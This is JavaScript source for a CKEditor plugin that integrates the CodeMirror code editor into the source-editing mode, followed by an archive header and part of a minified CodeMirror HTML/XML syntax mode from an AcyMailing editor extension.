                                from: window["codemirror_" + editor.id].getCursor(true),
                                to: window["codemirror_" + editor.id].getCursor(false)
                            };
                        }

                        window["codemirror_" + editor.id].on("change", function () {
                            window["codemirror_" + editor.id].save();
                            editor.fire('change', this);
                        });

                        window["codemirror_" + editor.id].setSize(holderWidth, holderHeight);

                        if (config.lineNumbers && config.enableCodeFolding) {
                            window["codemirror_" + editor.id].on("gutterClick", window["foldFunc_" + editor.id]);
                        }
                        if (typeof config.onLoad === 'function') {
                            config.onLoad(window["codemirror_" + editor.id], editor);
                        }

                        window["codemirror_" + editor.id].on("blur", function () {
                            editor.fire('blur', this);
                        });
                    }

                    return {
                        title: editor.lang.sourcedialog.title,
                        minWidth: width,
                        minHeight: height,
                        resizable : CKEDITOR.DIALOG_RESIZE_NONE,
                        onShow: function () {
                            this.getContentElement('main', 'data').focus();
                            this.getContentElement('main', 'AutoComplete').setValue(config.autoCloseTags, true);
                            
                            var textArea = this.getContentElement('main', 'data').getInputElement().$;
                            
                            this.setValueOf('main', 'data', oldData = editor.getData());

                            if (!IsStyleSheetAlreadyLoaded(rootPath + 'css/codemirror.min.css')) {
                                CKEDITOR.document.appendStyleSheet(rootPath + 'css/codemirror.min.css');
                            }

                            if (config.theme.length && config.theme != 'default' && !IsStyleSheetAlreadyLoaded(rootPath + 'theme/' + config.theme + '.css')) {
                                CKEDITOR.document.appendStyleSheet(rootPath + 'theme/' + config.theme + '.css');
                            }

                            if (typeof (CodeMirror) == 'undefined') {

                                CKEDITOR.scriptLoader.load(rootPath + 'js/codemirror.min.js', function() {

                                    CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                                        loadCodeMirrorInline(editor, textArea);
                                    });
                                });


                            } else {
                                if (CodeMirror.prototype['autoFormatAll']) {
                                    loadCodeMirrorInline(editor, textArea);
                                } else {
                                    CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                                        loadCodeMirrorInline(editor, textArea);
                                    });
                                }
                            }
                        },
                        onCancel: function (event) {
                            if (event.data.hide) {
                                window["codemirror_" + editor.id].toTextArea();

                                window["codemirror_" + editor.id] = null;
                            }
                        },
                        onOk: (function () {

                            function setData(newData) {
                                var that = this;

                                editor.setData(newData, function () {
                                    that.hide();

                                    var range = editor.createRange();
                                    range.moveToElementEditStart(editor.editable());
                                    range.select();
                                });
                            }

                            return function () {
                                window["codemirror_" + editor.id].toTextArea();

                                window["codemirror_" + editor.id] = null;

                                var newData = this.getValueOf('main', 'data').replace(/\r/g, '');

                                if (newData === oldData)
                                    return true;

                                CKEDITOR.env.ie ? CKEDITOR.tools.setTimeout(setData, 0, this, newData) : setData.call(this, newData);

                                return false;
                            };
                        })(),

                        contents: [{
                            id: 'main',
                            label: editor.lang.sourcedialog.title,
                            elements: [
                                {
                                    type: 'hbox',
                                    style: 'width: 80px;margin:0;',
                                    widths: ['20px', '20px', '20px', '20px'],
                                    children: [
                                        {
                                            type: 'button',
                                            id: 'searchCode',
                                            label: '',
                                            title: lang.searchCode,
                                            'class': 'searchCodeButton',
                                            onClick: function() {
                                                CodeMirror.commands.find(window["codemirror_" + editor.id]);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'autoFormat',
                                            label: '',
                                            title: lang.autoFormat,
                                            'class': 'autoFormat',
                                            onClick: function() {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'CommentSelectedRange',
                                            label: '',
                                            title: lang.commentSelectedRange,
                                            'class': 'CommentSelectedRange',
                                            onClick: function () {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                                            }
                                        }, {
                                            type: 'button',
                                            id: 'UncommentSelectedRange',
                                            label: '',
                                            title: lang.uncommentSelectedRange,
                                            'class': 'UncommentSelectedRange',
                                            onClick: function () {
                                                var range = {
                                                    from: window["codemirror_" + editor.id].getCursor(true),
                                                    to: window["codemirror_" + editor.id].getCursor(false)
                                                };
                                                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                                if (window["codemirror_" + editor.id].config.autoFormatOnUncomment) {
                                                    window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                                }
                                            }
                                        }]
                                }, {
                                    type: 'checkbox',
                                    id: 'AutoComplete',
                                    label: lang.autoCompleteToggle,
                                    title: lang.autoCompleteToggle,
                                    onChange: function () {
                                        window["codemirror_" + editor.id].setOption("autoCloseTags", this.getValue());
                                    }
                                }, {
                                    type: 'textarea',
                                    id: 'data',
                                    dir: 'ltr',
                                    inputStyle: 'cursor:auto;' +
                                        'width:' + width + 'px;' +
                                        'height:' + height + 'px;' +
                                        'tab-size:4;' +
                                        'text-align:left;',
                                    'class': 'cke_source cke_enable_context_menu'
                                }
                            ]
                        }]
                    };
                });

            }
            

            if (editor.commands.find) {
                editor.commands.find.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                editor.commands.find.exec = function() {
                    if (editor.mode === 'wysiwyg') {
                        editor.openDialog('find');
                    } else {
                        CodeMirror.commands.find(window["codemirror_" + editor.id]);
                    }
                };
            }
            
            if (editor.commands.replace) {
                editor.commands.replace.modes = {
                    wysiwyg: 1,
                    source: 1
                };

                editor.commands.replace.exec = function () {
                    if (editor.mode === 'wysiwyg') {
                        editor.openDialog('replace');
                    } else {
                        CodeMirror.commands.replace(window["codemirror_" + editor.id]);
                    }
                };
            }
            
            var sourcearea = CKEDITOR.plugins.sourcearea;
            
            if (!sourcearea.commands.searchCode) {

                CKEDITOR.plugins.sourcearea.commands = {
                    source: {
                        modes: {
                            wysiwyg: 1,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function(editorInstance) {
                            if (editorInstance.mode === 'wysiwyg') {
                                editorInstance.fire('saveSnapshot');
                            }
                            editorInstance.getCommand('source').setState(CKEDITOR.TRISTATE_DISABLED);
                            editorInstance.setMode(editorInstance.mode === 'source' ? 'wysiwyg' : 'source');
                        },
                        canUndo: false
                    },
                    searchCode: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            CodeMirror.commands.find(window["codemirror_" + editorInstance.id]);
                        },
                        canUndo: true
                    },
                    autoFormat: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].autoFormatRange(range.from, range.to);
                        },
                        canUndo: true
                    },
                    commentSelectedRange: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].commentRange(true, range.from, range.to);
                        },
                        canUndo: true
                    },
                    uncommentSelectedRange: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            var range = {
                                from: window["codemirror_" + editorInstance.id].getCursor(true),
                                to: window["codemirror_" + editorInstance.id].getCursor(false)
                            };
                            window["codemirror_" + editorInstance.id].commentRange(false, range.from, range.to);
                            if (window["codemirror_" + editorInstance.id].config.autoFormatOnUncomment) {
                                window["codemirror_" + editorInstance.id].autoFormatRange(
                                    range.from,
                                    range.to);
                            }
                        },
                        canUndo: true
                    },
                    autoCompleteToggle: {
                        modes: {
                            wysiwyg: 0,
                            source: 1
                        },
                        editorFocus: false,
                        readOnly: 1,
                        exec: function (editorInstance) {
                            if (this.state == CKEDITOR.TRISTATE_ON) {
                                window["codemirror_" + editorInstance.id].setOption("autoCloseTags", false);
                            } else if (this.state == CKEDITOR.TRISTATE_OFF) {
                                window["codemirror_" + editorInstance.id].setOption("autoCloseTags", true);
                            }

                            this.toggleState();
                        },
                        canUndo: true
                    }
                };
            }

            editor.addMode('source', function (callback) {
                if (!IsStyleSheetAlreadyLoaded(rootPath + 'css/codemirror.min.css')) {
                    CKEDITOR.document.appendStyleSheet(rootPath + 'css/codemirror.min.css');
                }

                if (config.theme.length && config.theme != 'default' && !IsStyleSheetAlreadyLoaded(rootPath + 'theme/' + config.theme + '.css')) {
                    CKEDITOR.document.appendStyleSheet(rootPath + 'theme/' + config.theme + '.css');
                }

                if (typeof (CodeMirror) == 'undefined') {

                    CKEDITOR.scriptLoader.load(rootPath + 'js/codemirror.min.js', function() {

                        CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                            loadCodeMirror(editor);
                            callback();
                        });
                    });
                } else {
                    if (CodeMirror.prototype['autoFormatAll']) {
                        loadCodeMirror(editor);
                        callback();
                    } else {
                        CKEDITOR.scriptLoader.load(getCodeMirrorScripts(), function() {
                            loadCodeMirror(editor);
                            callback();
                        });
                    }
                }
            });

            function getCodeMirrorScripts() {
                var scriptFiles = [rootPath + 'js/codemirror.addons.min.js'];

                switch (config.mode) {
                case "bbcode":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.bbcode.min.js');
                    }

                    break;
                case "bbcodemixed":
                        {
                            scriptFiles.push(rootPath + 'js/codemirror.mode.bbcodemixed.min.js');
                        }

                        break;
                case "htmlmixed":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                    }

                    break;
                case "text/html":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                    }

                    break;
                case "application/x-httpd-php":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.php.min.js');
                    }

                    break;
                case "text/javascript":
                    {
                        scriptFiles.push(rootPath + 'js/codemirror.mode.javascript.min.js');
                    }

                    break;
                default:
                    scriptFiles.push(rootPath + 'js/codemirror.mode.htmlmixed.min.js');
                }

                if (config.useBeautify) {
                    scriptFiles.push(rootPath + 'js/beautify.min.js');
                }

                if (config.enableSearchTools) {
                    scriptFiles.push(rootPath + 'js/codemirror.addons.search.min.js');
                }
                return scriptFiles;
            }

            function loadCodeMirror(editor) {
                var contentsSpace = editor.ui.space('contents'),
                    textarea = contentsSpace.getDocument().createElement('textarea');

                textarea.setStyles(
                    CKEDITOR.tools.extend({
                            width: CKEDITOR.env.ie7Compat ? '99%' : '100%',
                            height: '100%',
                            resize: 'none',
                            outline: 'none',
                            'text-align': 'left'
                        },
                        CKEDITOR.tools.cssVendorPrefix('tab-size', editor.config.sourceAreaTabSize || 4)));
                var ariaLabel = [editor.lang.editor, editor.name].join(',');
                textarea.setAttributes({
                    dir: 'ltr',
                    tabIndex: CKEDITOR.env.webkit ? -1 : editor.tabIndex,
                    'role': 'textbox',
                    'aria-label': ariaLabel
                });
                textarea.addClass('cke_source');
                textarea.addClass('cke_reset');
                textarea.addClass('cke_enable_context_menu');
                editor.ui.space('contents').append(textarea);
                window["editable_" + editor.id] = editor.editable(new sourceEditable(editor, textarea));
                window["editable_" + editor.id].setData(editor.getData(1));
                window["editable_" + editor.id].editorID = editor.id;
                editor.fire('ariaWidget', this);

                var sourceAreaElement = window["editable_" + editor.id],
                    holderElement = sourceAreaElement.getParent();


                if (config.lineNumbers && config.enableCodeFolding) {
                    window["foldFunc_" + editor.id] = CodeMirror.newFoldFunction(CodeMirror.tagRangeFinder);
                }

                function getCodeMirrorKey(ckeditorKeystroke) {
                    var MODIFIERS = [
                        [CKEDITOR.SHIFT, "Shift-"],
                        [CKEDITOR.CTRL, "Ctrl-"],
                        [CKEDITOR.ALT, "Alt-"]
                    ];
                    var keyModifiers = "";
                    for (var i = 0; i < MODIFIERS.length; i++) {
                        if (ckeditorKeystroke & MODIFIERS[i][0]) {
                            ckeditorKeystroke -= MODIFIERS[i][0];
                            keyModifiers += MODIFIERS[i][1];
                        }
                    }
                    if (CodeMirror.keyNames[ckeditorKeystroke]) {
                        return keyModifiers + CodeMirror.keyNames[ckeditorKeystroke];
                    }
                    return null;
                }

                function addCKEditorKeystrokes(editorExtraKeys) {
                    var ckeditorKeystrokes = editor.config.keystrokes;
                    if (CKEDITOR.tools.isArray(ckeditorKeystrokes)) {
                        for (var i = 0; i < ckeditorKeystrokes.length; i++) {
                            var key = getCodeMirrorKey(ckeditorKeystrokes[i][0]);
                            if (key !== null) {
                                (function (command) {
                                    editorExtraKeys[key] = function () {
                                        editor.execCommand(command);
                                    }
                                })(ckeditorKeystrokes[i][1]);
                            }
                        }
                    }
                }

                var extraKeys = {
                    "Ctrl-Q": function(codeMirror_Editor) {
                        if (config.enableCodeFolding) {
                            window["foldFunc_" + editor.id](codeMirror_Editor, codeMirror_Editor.getCursor().line);
                        }
                    },
                    "'>'": function (codeMirror_Editor) {
                        codeMirror_Editor.closeTag(codeMirror_Editor, '>');
                    },
                    "'/'": function (codeMirror_Editor) {
                        codeMirror_Editor.closeTag(codeMirror_Editor, '/');
                    }
                };

                addCKEditorKeystrokes(extraKeys);

                window["codemirror_" + editor.id] = CodeMirror.fromTextArea(sourceAreaElement.$, {
                    mode: config.mode,
                    matchBrackets: config.matchBrackets,
                    matchTags: config.matchTags,
                    workDelay: 300,
                    workTime: 35,
                    readOnly: editor.readOnly,
                    lineNumbers: config.lineNumbers,
                    lineWrapping: true,
                    autoCloseTags: config.autoCloseTags,
                    autoCloseBrackets: config.autoCloseBrackets,
                    highlightSelectionMatches: config.highlightMatches,
                    continueComments: config.continueComments,
                    indentWithTabs: config.indentWithTabs,
                    theme: config.theme,
                    showTrailingSpace: config.showTrailingSpace,
                    showCursorWhenSelecting: true,
                    styleActiveLine: config.styleActiveLine,
                    extraKeys: extraKeys,
                    foldGutter: true,
                    gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"],
                    onKeyEvent: function (codeMirror_Editor, evt) {
                        
                        if (config.enableCodeFormatting) {
                            var range = getSelectedRange();
                            if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && !evt.altKey) {
                                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
                            } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && evt.shiftKey && !evt.altKey) {
                                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                                if (config.autoFormatOnUncomment) {
                                    window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                                }
                            } else if (evt.type === "keydown" && evt.ctrlKey && evt.keyCode === 75 && !evt.shiftKey && evt.altKey) {
                                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
                            }                        }
                    }
                });

                var holderHeight = holderElement.$.clientHeight == 0 ? editor.ui.space('contents').getStyle('height') : holderElement.$.clientHeight + 'px';
                var holderWidth = holderElement.$.clientWidth + 'px';

                window["codemirror_" + editor.id].config = config;
                if (config.autoFormatOnStart) {
                    if (config.useBeautify) {
                        var indent_size = 4;
                        var indent_char = ' ';
                        var brace_style = 'collapse'; //collapse, expand, end-expand 

                        var source = window["codemirror_" + editor.id].getValue();

                        window["codemirror_" + editor.id].setValue(html_beautify(source, indent_size, indent_char, 120, brace_style));
                    } else {
                        window["codemirror_" + editor.id].autoFormatAll({
                            line: 0,
                            ch: 0
                        }, {
                            line: window["codemirror_" + editor.id].lineCount(),
                            ch: 0
                        });
                    }
                }

                function getSelectedRange() {
                    return {
                        from: window["codemirror_" + editor.id].getCursor(true),
                        to: window["codemirror_" + editor.id].getCursor(false)
                    };
                }

                window["codemirror_" + editor.id].on("change", function () {
                    window["codemirror_" + editor.id].save();
                    editor.fire('change', this);
                });

                window["codemirror_" + editor.id].setSize(null, holderHeight);
                
                if (config.lineNumbers && config.enableCodeFolding) {
                    window["codemirror_" + editor.id].on("gutterClick", window["foldFunc_" + editor.id]);
                }

                if (typeof config.onLoad === 'function') {
                    config.onLoad(window["codemirror_" + editor.id], editor);
                }

                window["codemirror_" + editor.id].on("blur", function () {
                    editor.fire('blur', this);
                });
            }

            editor.addCommand('source', sourcearea.commands.source);
            if (editor.ui.addButton) {
                editor.ui.addButton('Source', {
                    label: editor.lang.codemirror.toolbar,
                    command: 'source',
                    toolbar: 'mode,10'
                });
            }
            if (config.enableCodeFormatting) {
                editor.addCommand('searchCode', sourcearea.commands.searchCode);
                editor.addCommand('autoFormat', sourcearea.commands.autoFormat);
                editor.addCommand('commentSelectedRange', sourcearea.commands.commentSelectedRange);
                editor.addCommand('uncommentSelectedRange', sourcearea.commands.uncommentSelectedRange);
                editor.addCommand('autoCompleteToggle', sourcearea.commands.autoCompleteToggle);

                if (editor.ui.addButton) {
                    if (config.showFormatButton || config.showCommentButton || config.showUncommentButton || config.showSearchButton) {
                        editor.ui.add('-', CKEDITOR.UI_SEPARATOR, { toolbar: 'mode,30' });
                    }
                    if (config.showFormatButton) {
                        editor.ui.addButton('autoFormat', {
                            label: lang.autoFormat,
                            command: 'autoFormat',
                            toolbar: 'mode,50'
                        });
                    }
                    if (config.showCommentButton) {
                        editor.ui.addButton('CommentSelectedRange', {
                            label: lang.commentSelectedRange,
                            command: 'commentSelectedRange',
                            toolbar: 'mode,60'
                        });
                    }
                    if (config.showUncommentButton) {
                        editor.ui.addButton('UncommentSelectedRange', {
                            label: lang.uncommentSelectedRange,
                            command: 'uncommentSelectedRange',
                            toolbar: 'mode,70'
                        });
                    }
                    if (config.showAutoCompleteButton) {
                        editor.ui.addButton('AutoComplete', {
                            label: lang.autoCompleteToggle,
                            command: 'autoCompleteToggle',
                            toolbar: 'mode,80'
                        });
                    }
                }
            }
            
            editor.on('beforeModeUnload', function (evt) {
                if (editor.mode === 'source' && editor.plugins.textselection) {

                    var range = editor.getTextSelection();

                    range.startOffset = LineChannelToOffSet(window["codemirror_" + editor.id], window["codemirror_" + editor.id].getCursor(true));
                    range.endOffset = LineChannelToOffSet(window["codemirror_" + editor.id], window["codemirror_" + editor.id].getCursor(false));

                    delete range.element;
                    range.createBookmark(editor);
                    sourceBookmark = true;

                    evt.data = range.content;
                }
            });
            editor.on('mode', function () {
                editor.getCommand('source').setState(editor.mode === 'source' ? CKEDITOR.TRISTATE_ON : CKEDITOR.TRISTATE_OFF);

                if (editor.mode === 'source') {
                    editor.getCommand('autoCompleteToggle').setState(window["codemirror_" + editor.id].config.autoCloseTags ? CKEDITOR.TRISTATE_ON : CKEDITOR.TRISTATE_OFF);

                    if (editor.plugins.textselection && textRange) {


                        var start, end;

                        start = OffSetToLineChannel(window["codemirror_" + editor.id], textRange.startOffset);

                        if (typeof (textRange.endOffset) == 'undefined') {
                            window["codemirror_" + editor.id].focus();
                            window["codemirror_" + editor.id].setCursor(start);
                        } else {
                            window["codemirror_" + editor.id].focus();
                            end = OffSetToLineChannel(window["codemirror_" + editor.id], textRange.endOffset);
                            window["codemirror_" + editor.id].setSelection(start, end);
                        }
                    }
                }

            });
            editor.on('resize', function() {
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    var holderElement = window["editable_" + editor.id].getParent();
                    var holderHeight = holderElement.$.clientHeight + 'px';
                    var holderWidth = holderElement.$.clientWidth + 'px';
                    window["codemirror_" + editor.id].setSize(holderWidth, holderHeight);
                }
            });
            
            editor.on('readOnly', function () {
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    window["codemirror_" + editor.id].setOption("readOnly", this.readOnly);
                }
            });
            
            editor.on('instanceReady', function (evt) {

                editor.container.getPrivate().events.contextmenu.listeners.splice(0, 1);

                var selectAllCommand = editor.commands.selectAll;

                if (selectAllCommand != null) {
                    selectAllCommand.exec = function () {
                        if (editor.mode === 'source') {
                            window["codemirror_" + editor.id].setSelection({
                                line: 0,
                                ch: 0
                            }, {
                                line: window["codemirror_" + editor.id].lineCount(),
                                ch: 0
                            });
                        } else {
                            var editable = editor.editable();
                            if (editable.is('body'))
                                editor.document.$.execCommand('SelectAll', false, null);
                            else {
                                var range = editor.createRange();
                                range.selectNodeContents(editable);
                                range.select();
                            }

                            editor.forceNextSelectionCheck();
                            editor.selectionChange();
                        }
                    };
                }
            });

            if (typeof (jQuery) != 'undefined' && jQuery('a[data-toggle="tab"]') && window["codemirror_" + editor.id]) {
                jQuery('a[data-toggle="tab"]').on('shown.bs.tab', function() {
                    window["codemirror_" + editor.id].refresh();
                });
            }

            editor.on('setData', function (data) {
 
                if (window["editable_" + editor.id] && editor.mode === 'source') {
                    window["codemirror_" + editor.id].setValue(data.data.dataValue);
                }
            });
        }
    });
    var sourceEditable = CKEDITOR.tools.createClass({
        base: CKEDITOR.editable,
        proto: {
            setData: function(data) {

                this.setValue(data);

                if (this.codeMirror != null) {
                    this.codeMirror.setValue(data);
                }

                this.editor.fire('dataReady');
            },
            getData: function() {
                return this.getValue();
            },
            insertHtml: function() {
            },
            insertElement: function() {
            },
            insertText: function() {
            },
            setReadOnly: function(isReadOnly) {
                this[(isReadOnly ? 'set' : 'remove') + 'Attribute']('readOnly', 'readonly');
            },
            editorID: null,
            detach: function() {
                window["codemirror_" + this.editorID].toTextArea();
                
                window["editable_" + this.editorID] = null;
                window["codemirror_" + this.editorID] = null;

                sourceEditable.baseProto.detach.call(this);
                
                this.clearCustomData();
                this.remove();
            }
        }
    });
})();
CKEDITOR.plugins.sourcearea = {
    commands: {
        source: {
            modes: {
                wysiwyg: 1,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function(editor) {
                if (editor.mode === 'wysiwyg') {
                    editor.fire('saveSnapshot');
                }

                editor.getCommand('source').setState(CKEDITOR.TRISTATE_DISABLED);
                editor.setMode(editor.mode === 'source' ? 'wysiwyg' : 'source');
            },
            canUndo: false
        },
        searchCode: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function(editor) {
                CodeMirror.commands.find(window["codemirror_" + editor.id]);
            },
            canUndo: true
        },
        autoFormat: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function (editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].autoFormatRange(range.from, range.to);
            },
            canUndo: true
        },
        commentSelectedRange: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function (editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].commentRange(true, range.from, range.to);
            },
            canUndo: true
        },
        uncommentSelectedRange: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 0,
            exec: function(editor) {
                var range = {
                    from: window["codemirror_" + editor.id].getCursor(true),
                    to: window["codemirror_" + editor.id].getCursor(false)
                };
                window["codemirror_" + editor.id].commentRange(false, range.from, range.to);
                if (window["codemirror_" + editor.id].config.autoFormatOnUncomment) {
                    window["codemirror_" + editor.id].autoFormatRange(
                        range.from,
                        range.to);
                }
            },
            canUndo: true
        },
        autoCompleteToggle: {
            modes: {
                wysiwyg: 0,
                source: 1
            },
            editorFocus: false,
            readOnly: 1,
            exec: function (editor) {
                if (this.state == CKEDITOR.TRISTATE_ON) {
                    window["codemirror_" + editor.id].setOption("autoCloseTags", false);
                } else if (this.state == CKEDITOR.TRISTATE_OFF) {
                    window["codemirror_" + editor.id].setOption("autoCloseTags", true);
                }

                this.toggleState();
            },
            canUndo: true
        }
    }
};

function LineChannelToOffSet(ed, linech) {
    var line = linech.line;
    var ch = linech.ch;
    var n = (line + ch); //for the \n s & chars in the line
    for (i = 0; i < line; i++) {
        n += (ed.getLine(i)).length;//for the chars in all preceeding lines
    }
    return n;
}

function OffSetToLineChannel(ed, n) {
    var line = 0, ch = 0, index = 0;
    for (i = 0; i < ed.lineCount() ; i++) {
        len = (ed.getLine(i)).length;
        if (n < index + len) {
            
            line = i;
            ch = n - index;
            return { line: line, ch: ch };
        }
        len++;//for \n char
        index += len;
    }
    return { line: line, ch: ch };
}

function IsStyleSheetAlreadyLoaded(href) {
    var links = CKEDITOR.document.getHead().find('link');

    for (var i = 0; i < links.count() ; i++) {
        if (links.getItem(i).$.href === href) {
            return true;
        }
    }

    return false;
}
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.p000060400000222265152455305300031526 0ustar00com_acymailing(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlmixed",function(c,d){var b=a.getMode(c,{name:"xml",htmlMode:true,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag});var n=a.getMode(c,"css");var l=[],k=d&&d.scriptTypes;l.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(c,"javascript")});if(k){for(var e=0;e<k.length;++e){var j=k[e];l.push({matches:j.matches,mode:j.mode&&a.getMode(c,j.mode)})}}l.push({matches:/./,mode:a.getMode(c,"text/plain")});function f(t,r){var p=r.htmlState.tagName;if(p){p=p.toLowerCase()}var q=b.token(t,r.htmlState);if(p=="script"&&/\btag\b/.test(q)&&t.current()==">"){var u=t.string.slice(Math.max(0,t.pos-100),t.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);u=u?u[1]:"";if(u&&/[\"\']/.test(u.charAt(0))){u=u.slice(1,u.length-1)}for(var o=0;o<l.length;++o){var s=l[o];if(typeof s.matches=="string"?u==s.matches:s.matches.test(u)){if(s.mode){r.token=m;r.localMode=s.mode;r.localState=s.mode.startState&&s.mode.startState(b.indent(r.htmlState,""))}break}}}else{if(p=="style"&&/\btag\b/.test(q)&&t.current()==">"){r.token=g;r.localMode=n;r.localState=n.startState(b.indent(r.htmlState,""))}}return q}function h(r,i,o){var q=r.current();var p=q.search(i);if(p>-1){r.backUp(q.length-p)}else{if(q.match(/<\/?$/)){r.backUp(q.length);if(!r.match(i,false)){r.match(q)}}}return o}function m(o,i){if(o.match(/^<\/\s*script\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*script\s*>/,i.localMode.token(o,i.localState))}function g(o,i){if(o.match(/^<\/\s*style\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*style\s*>/,n.token(o,i.localState))}return{startState:function(){var i=b.startState();return{token:f,localMode:null,localState:null,htmlState:i}},copyState:function(o){if(o.localState){var i=a.copyState(o.localMode,o.localState)}return{token:o.token,localMode:o.localMode,localState:i,htmlState:a.copyState(b,o.htmlState)}},token:function(o,i){return i.token(o,i)},indent:function(o,i){if(!o.localMode||/^\s*<\//.test(i)){return b.indent(o.htmlState,i)}else{if(o.localMode.indent){return o.localMode.indent(o.localState,i)}else{return a.Pass}}},innerMode:function(i){return{state:i.localState||i.htmlState,mode:i.localMode||b}}}},"xml","javascript","css");a.defineMIME("text/html","htmlmixed")});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("xml",function(y,k){var p=y.indentUnit;var x=k.multilineTagIndentFactor||1;var d=k.multilineTagIndentPastTag;if(d==null){d=true}var w=k.htmlMode?{autoSelfClosers:{area:true,base:true,br:true,col:true,command:true,embed:true,frame:true,hr:true,img:true,input:true,keygen:true,link:true,meta:true,param:true,source:true,track:true,wbr:true,menuitem:true},implicitlyClosed:{dd:true,li:true,optgroup:true,option:true,p:true,rp:true,rt:true,tbody:true,td:true,tfoot:true,th:true,tr:true},contextGrabbers:{dd:{dd:true,dt:true},dt:{dd:true,dt:true},li:{li:true},option:{option:true,optgroup:true},optgroup:{optgroup:true},p:{address:true,article:true,aside:true,blockquote:true,dir:true,div:true,dl:true,fieldset:true,footer:true,form:true,h1:true,h2:true,h3:true,h4:true,h5:true,h6:true,header:true,hgroup:true,hr:true,menu:true,nav:true,ol:true,p:true,pre:true,section:true,table:true,ul:true},rp:{rp:true,rt:true},rt:{rp:true,rt:true},tbody:{tbody:true,tfoot:true},td:{td:true,th:true},tfoot:{tbody:true},th:{td:true,th:true},thead:{tbody:true,tfoot:true},tr:{tr:true}},doNotIndent:{pre:true},allowUnquoted:true,allowMissing:true,caseFold:true}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:false,allowMissing:false,caseFold:false};var c=k.alignCDATA;var f,g;function n(F,E){function C(G){E.tokenize=G;return G(F,E)}var D=F.next();if(D=="<"){if(F.eat("!")){if(F.eat("[")){if(F.match("CDATA[")){return C(v("atom","]]>"))}else{return null}}else{if(F.match("--")){return C(v("comment","-->"))}else{if(F.match("DOCTYPE",true,true)){F.eatWhile(/[\w\._\-]/);return C(z(1))}else{return null}}}}else{if(F.eat("?")){F.eatWhile(/[\w\._\-]/);E.tokenize=v("meta","?>");return"meta"}else{f=F.eat("/")?"closeTag":"openTag";E.tokenize=m;return"tag bracket"}}}else{if(D=="&"){var 